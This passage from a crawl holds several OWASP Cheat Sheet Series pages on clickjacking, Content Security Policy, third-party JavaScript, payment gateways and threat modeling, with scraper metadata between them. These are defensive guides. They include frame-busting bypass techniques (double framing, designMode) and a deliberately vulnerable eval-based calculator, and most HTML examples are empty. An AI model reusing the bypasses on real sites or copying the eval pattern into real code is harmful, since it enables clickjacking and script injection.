However, in scenarios where content must be frameable, then a `window.confirm()` can be used to help mitigate Clickjacking by informing the user of the action they are about to perform.\n\nInvoking `window.confirm()` will display a popup that cannot be framed. If the `window.confirm()` originates from within an iframe with a different domain than the parent, then the dialog box will display what domain the `window.confirm()` originated from. In this scenario the browser is displaying the origin of the dialog box to help mitigate Clickjacking attacks. For example:\n\n```\n \n```\n\n## Insecure Non-Working Scripts DO NOT USE¶\n\nConsider the following snippet which is **NOT recommended** for defending against clickjacking:\n\n```\n \n```\n\nThis simple frame breaking script attempts to prevent the page from being incorporated into a frame or iframe by forcing the parent window to load the current frame's URL. Unfortunately, multiple ways of defeating this type of script have been made public. We outline some here.\n\n### Double Framing¶\n\nSome frame busting techniques navigate to the correct page by assigning a value to `parent.location`. This works well if the victim page is framed by a single page. However, if the attacker encloses the victim in one frame inside another (a double frame), then accessing `parent.location` becomes a security violation in all popular browsers, due to the **descendant frame navigation policy**. This security violation disables the counter-action navigation.\n\n**Victim frame busting code:**\n\n```\nif(top.location != self.location) { parent.location = self.location; } \n```\n\n**Attacker top frame:**\n\n```\n \n```\n\n**Firefox:**\n\nActivate [designMode](https://developer.mozilla.org/en-US/docs/Web/API/Document/designMode) in parent page. While designMode is still supported in modern browsers, its effectiveness as a clickjacking attack vector may vary in current browser versions.\n\n```\ndocument.designMode = \"on\"; \n```", "znaku_textu": 14895, "slov": 2136, "odkazu": 169, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:17:48", "sha256": "02ffdc95395c694457fb9359b71f1d427650c5b31ea41df85ffcf0ae72909b95", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://owasp.org/www-community/attacks/Clickjacking", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite", "https://w3c.github.io/webappsec-csp/", "https://caniuse.com/?search=frame-ancestors", "https://caniuse.com/", "https://developer.mozilla.org/en-US/docs/web/http/headers/x-frame-options", "https://datatracker.ietf.org/doc/draft-ietf-websec-x-frame-options/", "https://erlend.oftedal.no/blog/tools/xframeoptions/", "https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-02", "https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/", "https://javascript.info/clickjacking", "https://developer.mozilla.org/en-US/docs/Web/API/Document/designMode", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html", "titulek": "Content Security Policy - OWASP Cheat Sheet Series", "h1": "Content Security Policy Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Content Security Policy Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 2, "text": "Context¶"}, {"uroven": 3, "text": "Defense against XSS¶"}, {"uroven": 4, "text": "1. Restricting Inline Scripts¶"}, {"uroven": 4, "text": "2. Restricting Remote Scripts¶"}, {"uroven": 4, "text": "3. Restricting Unsafe JavaScript¶"}, {"uroven": 4, "text": "4. Restricting Form submissions¶"}, {"uroven": 4, "text": "5. Restricting Objects¶"}, {"uroven": 3, "text": "Defense against framing attacks¶"}, {"uroven": 3, "text": "Defense in Depth¶"}, {"uroven": 2, "text": "Policy Delivery¶"}, {"uroven": 3, "text": "1. Content-Security-Policy Header¶"}, {"uroven": 3, "text": "2. Content-Security-Policy-Report-Only Header¶"}, {"uroven": 3, "text": "3. Content-Security-Policy Meta Tag¶"}, {"uroven": 3, "text": "WARNING¶"}, {"uroven": 2, "text": "CSP Types (granular/allowlist based or strict)¶"}, {"uroven": 2, "text": "Strict CSP¶"}, {"uroven": 3, "text": "Nonce based¶"}, {"uroven": 4, "text": "Warning¶"}, {"uroven": 3, "text": "Hashes¶"}, {"uroven": 4, "text": "Note¶"}, {"uroven": 3, "text": "strict-dynamic¶"}, {"uroven": 2, "text": "Detailed CSP Directives¶"}, {"uroven": 3, "text": "Fetch Directives¶"}, {"uroven": 3, "text": "Document Directives¶"}, {"uroven": 3, "text": "Reporting Directives¶"}, {"uroven": 3, "text": "Special Directive Sources¶"}, {"uroven": 2, "text": "CSP Sample Policies¶"}, {"uroven": 3, "text": "Strict Policy¶"}, {"uroven": 4, "text": "Nonce-based Strict Policy¶"}, {"uroven": 4, "text": "Hash-based Strict Policy¶"}, {"uroven": 3, "text": "Basic non-Strict CSP Policy¶"}, {"uroven": 3, "text": "Upgrading insecure requests¶"}, {"uroven": 3, "text": "Preventing framing attacks (clickjacking, cross-site leaks)¶"}, {"uroven": 3, "text": "Refactoring inline code¶"}, {"uroven": 2, "text": "References¶"}], "markdown": "# Content Security Policy Cheat Sheet¶\n\n## Introduction¶\n\nThis article brings forth a way to integrate the **defense in depth** concept to the client-side of web applications. By injecting the Content-Security-Policy (CSP) headers from the server, the browser is aware and capable of protecting the user from dynamic calls that will load content into the page currently being visited.\n\n## Context¶\n\nThe increase in XSS (Cross-Site Scripting), clickjacking, and cross-site leak vulnerabilities demands a more **defense in depth** security approach.\n\n### Defense against XSS¶\n\nCSP defends against XSS attacks in the following ways:\n\n#### 1. Restricting Inline Scripts¶\n\nBy preventing the page from executing inline scripts, attacks like injecting\n\n```\n \n```\n\nwill not work.\n\n#### 2. Restricting Remote Scripts¶\n\nBy preventing the page from loading scripts from arbitrary servers, attacks like injecting\n\n```\n \n```\n\nwill not work.\n\n#### 3. Restricting Unsafe JavaScript¶\n\nBy preventing the page from executing text-to-JavaScript functions like `eval`, the website will be safe from vulnerabilities like the this:\n\n```\n// A Simple Calculator var op1 = getUrlParameter(\"op1\"); var op2 = getUrlParameter(\"op2\"); var sum = eval(`${op1} + ${op2}`); console.log(`The sum is: ${sum}`); \n```\n\n#### 4. Restricting Form submissions¶\n\nBy restricting where HTML forms on your website can submit their data, injecting phishing forms won't work either.\n\n```\n

Session expired! Please login again.

\n```\n\n#### 5. Restricting Objects¶\n\nAnd by restricting the HTML [object](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object) tag, it also won't be possible for an attacker to inject malicious flash/Java/other legacy executables on the page.\n\n### Defense against framing attacks¶\n\nAttacks like clickjacking and some variants of browser side-channel attacks (xs-leaks) require a malicious website to load the target website in a frame.\n\nHistorically the `X-Frame-Options` header has been used for this, but it has been obsoleted by the `frame-ancestors` CSP directive.\n\n### Defense in Depth¶\n\nA strong CSP provides an effective **second layer** of protection against various types of vulnerabilities, especially XSS. Although CSP doesn't prevent web applications from *containing* vulnerabilities, it can make those vulnerabilities significantly more difficult for an attacker to exploit.\n\nEven on a fully static website, which does not accept any user input, a CSP can be used to enforce the use of [Subresource Integrity (SRI)](https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity). This can help prevent malicious code from being loaded on the website if one of the third-party sites hosting JavaScript files (such as analytics scripts) is compromised.\n\nWith all that being said, CSP **should not** be relied upon as the only defensive mechanism against XSS. You must still follow good development practices such as the ones described in [Cross-Site Scripting Prevention Cheat Sheet](Cross_Site_Scripting_Prevention_Cheat_Sheet.html), and then deploy CSP on top of that as a bonus security layer.\n\n## Policy Delivery¶\n\nYou can deliver a Content Security Policy to your website in three ways.\n\n### 1. Content-Security-Policy Header¶\n\nSend a Content-Security-Policy HTTP response header from your web server.\n\n```\nContent-Security-Policy: ...\n```\n\nUsing a header is the preferred way and supports the full CSP feature set. Send it in all HTTP responses, not just the index page.\n\nThis is a W3C Spec standard header. Supported by Firefox 23+, Chrome 25+ and Opera 19+\n\n### 2. Content-Security-Policy-Report-Only Header¶\n\nUsing the `Content-Security-Policy-Report-Only`, you can deliver a CSP that doesn't get enforced.\n\n```\nContent-Security-Policy-Report-Only: ...\n```\n\nStill, violation reports are printed to the console and delivered to a violation endpoint if the `report-to` and `report-uri` directives are used.\n\nThis is also a W3C Spec standard header. Supported by Firefox 23+, Chrome 25+ and Opera 19+, whereby the policy is non-blocking (\"fail open\") and a report is sent to the URL designated by the `report-uri` (or newer `report-to`) directive. This is often used as a precursor to utilizing CSP in blocking mode (\"fail closed\")\n\nBrowsers fully support the ability of a site to use both `Content-Security-Policy` and `Content-Security-Policy-Report-Only` together, without any issues. This pattern can be used for example to run a strict `Report-Only` policy (to get many violation reports), while having a looser enforced policy (to avoid breaking legitimate site functionality).\n\n### 3. Content-Security-Policy Meta Tag¶\n\nSometimes you cannot use the Content-Security-Policy header if you are, e.g., Deploying your HTML files in a CDN where the headers are out of your control.\n\nIn this case, you can still use CSP by specifying a `http-equiv` meta tag in the HTML markup, like so:\n\n```\n \n```\n\nAlmost everything is still supported, including full XSS defenses. However, you will not be able to use [framing protections](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors), [sandboxing](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox), or a [CSP violation logging endpoint](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/report-to).\n\n### WARNING¶\n\n**DO NOT** use `X-Content-Security-Policy` or `X-WebKit-CSP`. Their implementations are obsolete (since Firefox 23, Chrome 25), limited, inconsistent, and incredibly buggy.\n\n## CSP Types (granular/allowlist based or strict)¶\n\nThe original mechanism for building a CSP involved creating allow-lists which would define the content and sources that were permitted in the context of the HTML page.\n\nHowever, current leading practice is to create a \"Strict\" CSP which is much easier to deploy and more secure as it is less likely to be bypassed.\n\n## Strict CSP¶\n\nA strict CSP can be created by using a limited number of the granular Fetch Directives listed below along with one of two mechanisms:\n\n- Nonce based\n- Hash based\n\nThe `strict-dynamic` directive can optionally also be used to make it easier to implement a Strict CSP.\n\nThe following sections will provide some basic guidance to these mechanisms but it is strongly recommended to follow Google's detailed and methodological instructions for creating a Strict CSP:\n\n**[Mitigate cross-site scripting (XSS) with a strict Content Security Policy (CSP)](https://web.dev/strict-csp/)**\n\n### Nonce based¶\n\nNonces are unique one-time-use random values that you generate for each HTTP response, and add to the Content-Security-Policy header, like so:\n\n```\nconst nonce = uuid.v4(); scriptSrc += ` 'nonce-${nonce}'`; \n```\n\nYou would then pass this nonce to your view (using nonces requires a non-static HTML) and render script tags that look something like this:\n\n```\n \n```\n\n#### Warning¶\n\n**Don't** create a middleware that replaces all script tags with \"script nonce=...\" because attacker-injected scripts will then get the nonces as well. You need an actual HTML templating engine to use nonces.\n\n### Hashes¶\n\nWhen inline scripts are required, the `script-src 'hash_algo-hash'` is another option for allowing only specific scripts to execute.\n\n```\nContent-Security-Policy: script-src 'sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='\n```\n\nTo get the hash, look at Google Chrome developer tools for violations like this:\n\n> ❌ Refused to execute inline script because it violates the following Content Security Policy directive: \"...\" Either the 'unsafe-inline' keyword, a hash (**'sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='**), or a nonce...\n\nYou can also use this [hash generator](https://report-uri.com/home/hash). This is a great [example](https://csp.withgoogle.com/docs/faq.html#static-content) of using hashes.\n\n#### Note¶\n\nUsing hashes can be a risky approach. If you change *anything* inside the script tag (even whitespace) by, e.g., formatting your code, the hash will be different, and the script won't render.\n\n### strict-dynamic¶\n\nThe `strict-dynamic` directive can be used as part of a Strict CSP in combination with either hashes or nonces.\n\nIf a script block which has either the correct hash or nonce is creating additional DOM elements and executing JS inside of them, `strict-dynamic` tells the browser to trust those elements as well without having to explicitly add nonces or hashes for each one.\n\nNote that while `strict-dynamic` is a CSP level 3 feature, CSP level 3 is very widely supported in common, modern browsers.\n\nFor more details, check out [strict-dynamic usage](https://w3c.github.io/webappsec-csp/#strict-dynamic-usage).\n\n## Detailed CSP Directives¶\n\nMultiple types of directives exist that allow the developer to control the flow of the policies granularly. Note that creating a non-Strict policy that is too granular or permissive is likely to lead to bypasses and a loss of protection.\n\n### Fetch Directives¶\n\nFetch directives tell the browser the locations to trust and load resources from.\n\nMost fetch directives have a certain [fallback list specified in w3](https://www.w3.org/TR/CSP3/#directive-fallback-list). This list allows for granular control of the source of scripts, images, files, etc.\n\n- `child-src` allows the developer to control nested browsing contexts and worker execution contexts.\n- `connect-src` provides control over fetch requests, XHR, eventsource, beacon and websockets connections.\n- `font-src` specifies which URLs to load fonts from.\n- `img-src` specifies the URLs that images can be loaded from.\n- `manifest-src` specifies the URLs that application manifests may be loaded from.\n- `media-src` specifies the URLs from which video, audio and text track resources can be loaded from.\n- `prefetch-src` was an experimental directive for prefetch/prerender resource URLs. It was **removed from the CSP Level 3 specification** and is ignored by modern browsers — do not rely on it for defense. Constrain scripts, styles, and default fetches with the standard fetch directives instead.\n- `object-src` specifies the URLs from which plugins can be loaded from.\n- `script-src` specifies the locations from which a script can be executed from. It is a fallback directive for other script-like directives.\n - `script-src-elem` controls the location from which execution of script requests and blocks can occur.\n - `script-src-attr` controls the execution of event handlers.\n- `style-src` controls from where styles get applied to a document. This includes `` elements, `@import` rules, and requests originating from a `Link` HTTP response header field.\n - `style-src-elem` controls styles except for inline attributes.\n - `style-src-attr` controls styles attributes.\n- `default-src` is a fallback directive for the other fetch directives. Directives that are specified have no inheritance, yet directives that are not specified will fall back to the value of `default-src` .\n\n### Document Directives¶\n\nDocument directives instruct the browser about the properties of the document to which the policies will apply to.\n\n- `base-uri` specifies the possible URLs that the `` element can use.\n- `plugin-types` limits the types of resources that can be loaded into the document ( *e.g.* `application/pdf` ). 3 rules apply to the affected elements, `` and `` :\n - The element needs to explicitly declare its type.\n - The element's type needs to match the declared type.\n - The element's resource needs to match the declared type.\n- `sandbox` restricts a page's actions such as submitting forms.\n - Only applies when used with the request header `Content-Security-Policy` .\n - Not specifying a value for the directive activates all of the sandbox restrictions. `Content-Security-Policy: sandbox;`\n - [Sandbox syntax](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox#Syntax)\n\nNavigation directives instruct the browser about the locations that the document can navigate to or be embedded from.\n\n- `form-action` restricts the URLs which the forms can submit to.\n- `frame-ancestors` restricts the URLs that can embed the requested resource inside of `` , ` \n       ...\n        \n```\n\n### Virtual iframe Containment¶\n\nThis technique creates iFrames that run asynchronously in relation to the main page. It also provides its own containment JavaScript that automates the dynamic implementation of the protected iFrames based on the marketing tag requirements.\n\n### Vendor Agreements¶\n\nYou can have the agreement or request for proposal with the 3rd parties require evidence that they have implemented secure coding and general corporate server access security. But in particular you need to determine the monitoring and control of their source code in order to prevent and detect malicious changes to that JavaScript.\n\n## MarTechSec¶\n\nMarketing Technology Security\n\nThis refers to all aspects of reducing the risk from marketing JavaScript. Controls include\n\n1. Contractual controls for risk reduction; the contracts with any MarTech company should include a requirement to show evidence of code security and code integrity monitoring.\n2. Contractual controls for risk transference: the contracts with any MarTech company could include a penalty for serving malicious JavaScript\n3. Technical controls for malicious JavaScript execution prevention; Virtual Iframes,\n4. Technical controls for malicious JavaScript identification; [Subresource Integrity](https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity) .\n5. Technical controls including client side JavaScript malicious behavior in penetration testing requirements.\n\n## MarSecOps¶\n\nMarketing Security Operations\n\nThis refers to the operational requirements to maintain some of the technical controls. This involves possible cooperation and information exchange between the marketing team, the martech provider and the run or operations team to update the information in the page controls (SRI hash change, changes in pages with SRI), the policies in the Virtual iFrames, tag manager configuration, data layer changes etc.\n\nThe most complete and preventive controls for any site containing non-trivial marketing tags are -\n\n1. A data layer that calls the marketing server or tag manager APIs , so that only your code executes on your page (inversion of control).\n2. [Subresource Integrity](https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity).\n3. Virtual frame Containment.\n\nThe MarSecOps requirements to implement technical controls at the speed of change that marketing wants or without a significant number of dedicated resources, can make data layer and Subresource Integrity controls impractical.\n\n## References¶\n\n- [Widespread XSS Vulnerabilities in Ad Network Code Affecting Top Tier Publishers, Retailers](https://randywestergren.com/widespread-xss-vulnerabilities-ad-network-code-affecting-top-tier-publishers-retailers/) .\n- [Inside and Beyond Ticketmaster: The Many Breaches of Magecart](https://www.riskiq.com/blog/labs/magecart-ticketmaster-breach/) .\n- [Magecart – a malicious infrastructure for stealing payment details from online shops](https://www.clearskysec.com/magecart/) .\n- [Compromised E-commerce Sites Lead to \"Magecart\"](https://www.riskiq.com/blog/labs/magecart-keylogger-injection/)\n- [Inbenta, blamed for Ticketmaster breach, admits it was hacked](https://www.zdnet.com/article/inbenta-blamed-for-ticketmaster-breach-says-other-sites-not-affected/) .", "znaku_textu": 22905, "slov": 3445, "odkazu": 174, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:19:11", "sha256": "7ce11b97a5cc64a5639b49d8bbd3432bd09baff8260593dd7d8d3936124c26de", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://owasp.org/www-community/attacks/xss/", "https://www.veracode.com/security/interactive-application-security-testing-iast", "https://www.veracode.com/sites/default/files/pdf/resources/whitepapers/what-is-rasp.pdf", "https://www.sqreen.com/web-application-security/what-is-sast", "https://www.sqreen.com/web-application-security/what-is-dast", "https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity", "https://github.com/cure53/DOMPurify", "https://github.com/hackvertor/MentalJS", "https://www.w3.org/TR/SRI/", "https://www.w3.org/TR/cors/", "https://owasp.org/Top10/2025/A03_2025-Software_Supply_Chain_Failures/", "https://retirejs.github.io/", "https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage", "http://www.html5rocks.com/en/tutorials/security/sandboxed-iframes/", "https://www.w3.org/TR/CSP2/", "https://randywestergren.com/widespread-xss-vulnerabilities-ad-network-code-affecting-top-tier-publishers-retailers/", "https://www.riskiq.com/blog/labs/magecart-ticketmaster-breach/", "https://www.clearskysec.com/magecart/", "https://www.riskiq.com/blog/labs/magecart-keylogger-injection/", "https://www.zdnet.com/article/inbenta-blamed-for-ticketmaster-breach-says-other-sites-not-affected/", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Third_Party_Payment_Gateway_Integration_Cheat_Sheet.html", "titulek": "Third Party Payment Gateway Integration - OWASP Cheat Sheet Series", "h1": "Secure Integration of Third-Party Payment Gateways Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/Third_Party_Payment_Gateway_Integration_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Secure Integration of Third-Party Payment Gateways Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 2, "text": "Understanding the Payment Flow¶"}, {"uroven": 2, "text": "What Can Go Wrong at Each Step and How to Prevent It¶"}, {"uroven": 3, "text": "1. Sending Order data¶"}, {"uroven": 3, "text": "2. Redirect to webhook¶"}, {"uroven": 2, "text": "Logging and Monitoring¶"}, {"uroven": 2, "text": "References¶"}], "markdown": "# Secure Integration of Third-Party Payment Gateways Cheat Sheet¶\n\n## Introduction¶\n\nIntegrating third-party payment gateways allows businesses to securely outsource payment processing. These gateways handle sensitive data like cardholder information and offer reduced PCI DSS scope if integrated correctly.\n\nHowever, insecure integration can lead to severe vulnerabilities—ranging from payment spoofing and order manipulation to fraud and business logic flaws. This cheat sheet outlines secure practices for integrating any third-party payment gateway, focusing on a general flow. It identifies potential failure points at each step and provides practical recommendations to prevent common mistakes.\n\n## Understanding the Payment Flow¶\n\nA typical third-party payment flow consists of five core steps:\n\n1. **Cart Preparation**\n\n The user selects items and initiates checkout.\n2. **Order Initialization (Merchant Backend → Payment Gateway)**\n\n The merchant backend creates a transaction or order via API and receives an `order_id` or `payment_url`.\n3. **User Redirection to Payment Gateway**\n\n The user is redirected to the gateway-hosted payment page.\n4. **Payment Execution (User → Gateway)**\n\n The user completes or fails the payment.\n5. **Return and Verification (Payment Gateway → Merchant)**\n\n The user is redirected to the merchant site (callback/return URL), and optionally, the gateway sends a server-to-server notification. The merchant verifies the result and proceeds with order fulfillment.\n\nThe following sequence diagram explains the steps above.\n\n---\n\n## What Can Go Wrong at Each Step and How to Prevent It¶\n\n### 1. Sending Order data¶\n\n**Risks:**\n\n- Price tampering or product substitution via client-side manipulation.\n- Missing server-side cart validation.\n\n**Mitigations:**\n\n- Validate all cart details (product IDs, prices, discounts) on the backend.\n- Recalculate totals server-side using trusted data before order creation.\n\n---\n\n### 2. Redirect to webhook¶\n\n**Risks:**\n\n- Trusting unauthenticated or spoofed callbacks.\n- Processing orders before verifying payment status.\n- Race conditions from multiple callbacks.\n- Replaying callbacks to trigger repeated fulfillment (e.g., multiple shipments, account credits).\n- Assuming user redirection parameters are trustworthy (these are untrusted and can be manipulated).\n\n**Mitigations:**\n\n- Validate all cart details (product IDs, prices, discounts) on the backend.\n- Always verify the payment status server-side with the gateway’s API before fulfilling the order.\n- Match the expected amount, currency, and order ID.\n- Validate the authenticity of callbacks (e.g., HMAC signatures, secret tokens).\n- Implement idempotency: only process an order once regardless of how many times the callback is received.\n- Use a unique transaction ID with an expiry timestamp to mitigate callback replay attacks. Reject any callback with expired or reused transaction IDs.\n- Only server-to-server callbacks should be trusted for payment verification and order fulfillment.\n- Log all callback attempts for forensic analysis.\n\n## Logging and Monitoring¶\n\n**Why it matters:**\nEven with proper validation and logic, monitoring is crucial for detecting abuse, fraud attempts, or system misbehavior.\n\n**Recommendations:**\n\n- Log all payment attempts (initiation, redirects, callbacks) with timestamps and IPs.\n- Alert on:\n - Unexpected order statuses (e.g., \"Paid\" without any gateway confirmation).\n - Excessive callback attempts for the same order.\n - Payment failures followed by repeated attempts with identical data.\n- Store raw request data for callbacks to aid investigation.\n- Incorporate fraud and risk scoring mechanisms to detect carding attacks and other suspicious activities during payment execution.\n\n---\n\n## References¶\n\n- [OWASP Web Security Testing Guide – Business Logic Testing](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/10-Business_Logic_Testing/10-Test-Payment-Functionality)\n- [Idempotency in Payment APIs – Stripe Docs](https://stripe.com/docs/api/idempotent_requests)\n- [3rd Party Payment Gateway API integration](https://docs.konnect.network/docs/en/api-integration/intro)\n- [How to identify a carding attack](https://www.payway.com/blog/carding-explained-how-to-stop-a-silent-threat-to-your-business)", "znaku_textu": 4215, "slov": 559, "odkazu": 142, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:19:12", "sha256": "b1fe0f07a333386956278f362e2941817367711697a8f963d4235dc7035d693b", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/10-Business_Logic_Testing/10-Test-Payment-Functionality", "https://stripe.com/docs/api/idempotent_requests", "https://docs.konnect.network/docs/en/api-integration/intro", "https://www.payway.com/blog/carding-explained-how-to-stop-a-silent-threat-to-your-business", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html", "titulek": "Threat Modeling - OWASP Cheat Sheet Series", "h1": "Threat Modeling Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Threat Modeling Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 2, "text": "Overview¶"}, {"uroven": 2, "text": "Advantages¶"}, {"uroven": 3, "text": "Identify Risks Early On¶"}, {"uroven": 3, "text": "Increased Security Awareness¶"}, {"uroven": 3, "text": "Improved Visibility of Target of Evaluation (TOE)¶"}, {"uroven": 2, "text": "Addressing Each Question¶"}, {"uroven": 3, "text": "System Modeling¶"}, {"uroven": 3, "text": "Cloud Threat Modeling¶"}, {"uroven": 3, "text": "Threat Identification¶"}, {"uroven": 3, "text": "Response and Mitigations¶"}, {"uroven": 3, "text": "Review and Validation¶"}, {"uroven": 2, "text": "Threat Modeling and the Development Team¶"}, {"uroven": 3, "text": "Challenges¶"}, {"uroven": 3, "text": "Addressing the Challenges¶"}, {"uroven": 2, "text": "References¶"}, {"uroven": 3, "text": "Methods and Techniques¶"}, {"uroven": 3, "text": "Tools¶"}, {"uroven": 3, "text": "General Reference¶"}], "markdown": "# Threat Modeling Cheat Sheet¶\n\n## Introduction¶\n\nThreat modeling is an important concept for modern application developers to understand. The goal of this cheatsheet is to provide a concise, but actionable, reference for both those new to threat modeling and those seeking a refresher.\nThe OWASP [Threat Modeling project](https://owasp.org/www-project-threat-modeling/) provides further information on various aspects of threat modeling.\n\n## Overview¶\n\nIn the context of application security, threat modeling is a structured, repeatable process used to gain actionable insights into the security characteristics of a particular system. It involves modeling a system from a security perspective, identifying applicable threats based on this model, and determining responses to these threats. Threat modeling analyzes a system from an adversarial perspective, focusing on ways in which an attacker can exploit a system.\n\nThreat modeling is ideally performed early in the SDLC, such as during the design phase. Moreover, it is not something that is performed once and never again. A threat model is something that should be maintained, updated and refined alongside the system. Ideally, threat modeling should be integrated seamlessly into a team's normal SDLC process; it should be treated as standard and necessary step in the process, not an add-on.\n\nAccording to the [Threat Modeling Manifesto](https://www.threatmodelingmanifesto.org/), the threat modeling process should answer the following four questions:\n\n1. What are we working on?\n2. What can go wrong?\n3. What are we going to do about it?\n4. Did we do a good enough job?\n\nThese four questions will act as the foundation for the four major phases described below.\n\n## Advantages¶\n\nBefore turning to an overview of the process, it may be worth addressing the question: why threat model? Why bother adding more work to the development process? What are the benefits? The following section will briefly outline some answers to these questions.\n\n### Identify Risks Early On¶\n\nThreat modeling seeks to identify potential security issues during the design phase. This allows security to be \"built-into\" a system rather than \"bolted-on\". This is far more efficient than having to identify and resolve security flaws after a system is in production.\n\n### Increased Security Awareness¶\n\nProper threat modeling requires participants to think creatively and critically about the security and threat landscape of a specific application. It challenges individuals to \"think like an attacker\" and apply general security knowledge to a specific context. Threat modeling is also typically a team effort with members being encouraged to share ideas and provide feedback on others. Overall, threat modeling can prove to be a highly educational activity that benefits participants.\n\n### Improved Visibility of Target of Evaluation (TOE)¶\n\nThreat modeling requires a deep understanding of the system being evaluated. To properly threat model, one must understand data flows, trust boundaries, and other characteristics of the system. Thus improved visibility into a system and its interactions is one advantage of threat modeling.\n\n## Addressing Each Question¶\n\nThere is no universally accepted industry standard for the threat modeling process, no \"right\" answer for every use case. However, despite this diversity, most approaches do include the processes of system modeling, threat identification, and risk response in some form. Inspired by these commonalities and guided by the four key questions of threat modeling discussed above, this cheatsheet will break the threat modeling down into four basic steps: application decomposition, threat identification and ranking, mitigations, and review and validation. There are processes that are less aligned to this, including PASTA and OCTAVE, each of which has passionate advocates.\n\n### System Modeling¶\n\nThe step of system modeling seeks to answer the question \"what are we building\"? Without understanding a system, one cannot truly understand what threats are most applicable to it; thus, this step provides a critical foundation for subsequent activities. Although different techniques may be used in this first step of threat modeling, data flow diagrams (DFDs) are arguably the most common approach.\n\nDFDs allow one to visually model a system and its interactions with data and other entities; they are created using a [small number of simple symbols](https://github.com/adamshostack/DFD3). DFDs may be created within dedicated threat modeling tools such as [OWASP's Threat Dragon](https://github.com/OWASP/threat-dragon) or [Microsoft's Threat Modeling Tool](https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool) or using general purpose diagraming solutions such as [draw.io](https://draw.io). If you prefer an -as-code approach, [OWASP's pytm](https://owasp.org/www-project-pytm/) can help there. Depending on the scale and complexity of the system being modeled, multiple DFDs may be required. For example, one could create a DFD representing a high-level overview of the entire system along with a number of more focused DFDs which detail sub-systems. Technical tools are not strictly necessary; whiteboarding may be sufficient in some instances, though it is preferable to have the DFDs in a form that can be easily stored, referenced, and updated as needed.\n\nRegardless of how a DFD or comparable model is generated, it is important that the solution provides a clear view of trust boundaries, data flows, data stores, processes, and the external entities which may interact with the system. These often represent possible attack points and provide crucial input for the subsequent steps.\n\nAnother approach to Data Flow Diagrams (DFD) could be the brainstorming technique, which is an effective method for generating ideas and discovering the project's domain. Applying brainstorming in this context can bring numerous benefits, such as increased team engagement, unification of knowledge and terminology, a shared understanding of the domain, and quick identification of key processes and dependencies. One of the main arguments for using brainstorming is its flexibility and adaptability to almost any scenario, including business logic. Additionally, this technique is particularly useful when less technical individuals participate in the session, as it eliminates barriers related to understanding and applying the components of DFD models and their correctness.\n\nBrainstorming engages all participants, fostering better communication and mutual understanding of issues. Every team member has the opportunity to contribute, which increases the sense of responsibility and involvement. During a brainstorming session, participants can collaboratively define and agree on key terms and concepts, leading to a unified language used in the project. This is especially important in complex projects where different teams might have different approaches to terminology. Due to the 